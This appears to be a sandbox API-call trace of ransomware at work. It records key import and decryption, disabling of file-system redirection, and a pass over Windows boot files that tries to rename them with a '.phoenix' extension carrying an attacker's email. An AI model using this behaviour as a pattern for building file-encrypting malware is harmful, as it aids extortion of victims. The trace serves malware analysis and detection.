	[0218.880] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110102) returned 0x835020
	[0218.884] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x50) returned 0x681220
	[0218.884] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfdf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe60 | out: phKey=0x2ccfe60*=0x1393a0) returned 1
	[0218.884] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0x2ccfe48, dwFlags=0x0) returned 1
	[0218.884] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681220, pdwDataLen=0x2ccfe14 | out: pbData=0x681220, pdwDataLen=0x2ccfe14) returned 1
	[0218.884] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.885] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0218.885] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0218.885] Wow64DisableWow64FsRedirection (in: OldValue=0x2ccfeac | out: OldValue=0x2ccfeac*=0x0) returned 1
	[0218.885] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681220 | out: hHeap=0x680000) returned 1
	[0218.885] ResetEvent (hEvent=0x27c) returned 1
	[0218.885] SetEvent (hEvent=0x280) returned 1
	[0218.885] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0218.885] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0218.889] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0218.889] CloseHandle (hObject=0x2b4) returned 1
	[0218.889] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.373] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.373] ResetEvent (hEvent=0x27c) returned 1
	[0219.373] SetEvent (hEvent=0x280) returned 1
	[0219.374] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.374] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0219.374] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0219.374] CloseHandle (hObject=0x294) returned 1
	[0219.374] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.375] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.376] ResetEvent (hEvent=0x27c) returned 1
	[0219.376] SetEvent (hEvent=0x280) returned 1
	[0219.376] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.376] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.376] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77664) returned 1
	[0219.376] CloseHandle (hObject=0x2b8) returned 1
	[0219.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0219.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.376] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.376] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.378] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.379] ResetEvent (hEvent=0x27c) returned 1
	[0219.379] SetEvent (hEvent=0x280) returned 1
	[0219.379] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.379] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0219.379] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=99744) returned 1
	[0219.379] CloseHandle (hObject=0x294) returned 1
	[0219.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0219.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.379] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.379] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.381] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.381] ResetEvent (hEvent=0x27c) returned 1
	[0219.381] SetEvent (hEvent=0x280) returned 1
	[0219.381] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.381] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.381] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45472) returned 1
	[0219.381] CloseHandle (hObject=0x2b8) returned 1
	[0219.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20
	[0219.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.381] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.381] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.383] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.383] ResetEvent (hEvent=0x27c) returned 1
	[0219.383] SetEvent (hEvent=0x280) returned 1
	[0219.383] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.383] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.383] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45472) returned 1
	[0219.383] CloseHandle (hObject=0x2b8) returned 1
	[0219.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20
	[0219.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.383] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.383] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.385] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.385] ResetEvent (hEvent=0x27c) returned 1
	[0219.385] SetEvent (hEvent=0x280) returned 1
	[0219.385] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.385] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.385] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45984) returned 1
	[0219.385] CloseHandle (hObject=0x2b8) returned 1
	[0219.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20
	[0219.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.385] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.386] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.387] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.387] ResetEvent (hEvent=0x27c) returned 1
	[0219.387] SetEvent (hEvent=0x280) returned 1
	[0219.387] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.387] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.387] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=46496) returned 1
	[0219.387] CloseHandle (hObject=0x2b8) returned 1
	[0219.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20
	[0219.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.387] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.388] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.389] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.389] ResetEvent (hEvent=0x27c) returned 1
	[0219.389] SetEvent (hEvent=0x280) returned 1
	[0219.389] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.389] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.389] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=74144) returned 1
	[0219.390] CloseHandle (hObject=0x2b8) returned 1
	[0219.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20
	[0219.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.390] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.390] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.391] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.391] ResetEvent (hEvent=0x27c) returned 1
	[0219.391] SetEvent (hEvent=0x280) returned 1
	[0219.391] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.391] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.392] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77664) returned 1
	[0219.392] CloseHandle (hObject=0x2b8) returned 1
	[0219.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20
	[0219.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.392] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.392] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.393] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.393] ResetEvent (hEvent=0x27c) returned 1
	[0219.393] SetEvent (hEvent=0x280) returned 1
	[0219.393] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.394] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.394] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77664) returned 1
	[0219.394] CloseHandle (hObject=0x2b8) returned 1
	[0219.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20
	[0219.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.394] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.394] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.395] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.396] ResetEvent (hEvent=0x27c) returned 1
	[0219.396] SetEvent (hEvent=0x280) returned 1
	[0219.396] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.396] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0219.396] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=76640) returned 1
	[0219.396] CloseHandle (hObject=0x2b8) returned 1
	[0219.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20
	[0219.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.396] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.396] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.397] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.476] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.476] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.477] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=3695719) returned 1
	[0219.477] CloseHandle (hObject=0x2c0) returned 1
	[0219.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20
	[0219.477] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0219.477] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0
	[0219.477] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.477] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.478] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=3878410) returned 1
	[0219.478] CloseHandle (hObject=0x2c0) returned 1
	[0219.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20
	[0219.478] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0219.478] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0
	[0219.478] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.478] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.480] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1985867) returned 1
	[0219.480] CloseHandle (hObject=0x2c0) returned 1
	[0219.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20
	[0219.480] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0219.480] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0
	[0219.480] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.480] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.481] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2373000) returned 1
	[0219.481] CloseHandle (hObject=0x2c0) returned 1
	[0219.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20
	[0219.481] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0219.481] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0
	[0219.481] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.481] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.482] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=174959) returned 1
	[0219.482] CloseHandle (hObject=0x2c0) returned 1
